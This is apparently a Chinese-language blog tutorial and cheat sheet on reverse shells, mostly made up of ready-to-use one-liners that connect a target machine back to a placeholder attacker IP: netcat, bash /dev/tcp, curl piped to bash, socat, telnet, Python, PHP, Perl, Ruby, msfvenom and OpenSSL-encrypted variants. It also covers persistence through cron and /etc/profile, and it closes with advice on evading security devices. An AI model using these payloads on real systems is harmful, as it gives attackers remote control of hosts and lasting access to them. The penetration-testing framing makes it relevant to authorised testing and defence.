反弹Shell,看这一篇就够了
字数 1168 2025-08-05 11:39:30
反弹Shell技术详解
一、反弹Shell基本概念
1. 正向连接与反向连接
正向连接:攻击机主动连接目标机(目标IP:目标端口),如远程桌面、SSH、Telnet等常规连接方式。
反向连接(反弹Shell):目标机主动连接攻击机,适用于以下场景:
- 目标机防火墙限制,只能发送请求不能接收请求
- 目标机端口被占用
- 目标机位于局域网或IP动态变化
- 木马病毒等不确定受害者网络环境的情况
2. 反弹Shell原理
攻击机监听某个TCP/UDP端口作为服务端,目标机主动发起请求到该端口,并将其命令行的输入输出重定向到攻击机。
二、反弹Shell方法汇总
1. 利用Netcat反弹Shell
前提:目标机安装原生版本Netcat(默认发行版可能阉割了-e参数)
安装原生Netcat:
wget https://nchc.dl.sourceforge.net/project/netcat/netcat/0.7.1/netcat-0.7.1.tar.gz
tar -xvzf netcat-0.7.1.tar.gz
./configure
make && make install
make clean
攻击机监听:
netcat -lvvp 2333
目标机连接:
netcat 攻击机IP 2333 -e /bin/bash
2. 利用Bash反弹Shell
经典一句话:
bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1
# 或
bash -c "bash -i >& /dev/tcp/攻击机IP/攻击机端口 0>&1"
命令解析:
bash -i:产生交互式bash环境>&:将前面内容与后面结合后重定向/dev/tcp/攻击机IP/端口:建立TCP连接0>&1:将标准输入与标准输出结合后重定向
3. Curl配合Bash反弹Shell
攻击机准备:
- 在web目录创建index文件,内容为Bash反弹命令
- 开启端口监听
目标机执行:
curl 攻击机IP | bash
CTF变种:IP可替换为各种格式(十进制、十六进制等)
4. 定时任务反弹Shell
CentOS系列写入:
/var/spool/cron/root
Debian/Ubuntu系列写入:
/var/spool/cron/crontabs/root
内容示例:
*/1 * * * * /bin/bash -i >& /dev/tcp/攻击机IP/2333 0>&1
5. /etc/profile文件反弹Shell
写入内容:
/bin/bash -i >& /dev/tcp/攻击机IP/2333 0>&1 &
# &防止管理员无法输入命令
6. 利用Socat反弹Shell
安装:
apt-get install socat
# 或源码安装
攻击机监听:
socat TCP-LISTEN:2333 -
# 或
nc -lvvp 2333
目标机连接:
socat tcp-connect:攻击机IP:2333 exec:'bash -li',pty,stderr,setsid,sigint,sane
7. 利用Telnet反弹Shell
方法一:
# 攻击机:
nc -lvvp 2333
# 目标机:
mknod a p; telnet 攻击机IP 2333 0<a | /bin/bash 1>a
方法二:
# 攻击机:
nc -lvvp 2333
nc -lvvp 4000
# 目标机:
telnet 攻击机IP 2333 | /bin/bash | telnet 攻击机IP 4000
三、脚本语言反弹Shell
1. Python反弹Shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("攻击机IP",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
2. PHP反弹Shell
php -r '$sock=fsockopen("攻击机IP",2333);exec("/bin/sh -i <&3 >&3 2>&3");'
3. Perl反弹Shell
perl -e 'use Socket;$i="攻击机IP";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
4. Ruby反弹Shell
ruby -rsocket -e 'c=TCPSocket.new("攻击机IP","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
# 或
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("攻击机IP","2333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
四、Metasploit生成反弹Shell
使用msfvenom生成各类反弹shell payload:
msfvenom -l payloads | grep 'cmd/unix/reverse'
示例生成Python反弹shell:
msfvenom -p cmd/unix/reverse_python LHOST=攻击机IP LPORT=2333 -f raw
五、反弹Shell后优化
1. 获取标准终端环境
使用Python模拟终端设备:
python -c "import pty;pty.spawn('/bin/bash')"
2. OpenSSL反弹加密Shell
生成自签名证书:
openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
攻击机监听:
openssl s_server -quiet -key key.pem -cert cert.pem -port 2333
目标机连接:
mkfifo /tmp/s; /bin/sh -i </tmp/s 2>&1 | openssl s_client -quiet -connect 攻击机IP:2333 >/tmp/s; rm /tmp/s
六、总结
反弹Shell技术是渗透测试中的重要手段,本文涵盖了从基础到高级的各种反弹Shell方法,包括:
- 常用工具(Netcat、Bash、Socat、Telnet)
- 多种脚本语言实现(Python、PHP、Perl、Ruby)
- 持久化方法(定时任务、/etc/profile)
- 高级技巧(终端模拟、加密通信)
在实际渗透测试中,应根据目标环境选择合适的方法,并注意规避安全设备的检测。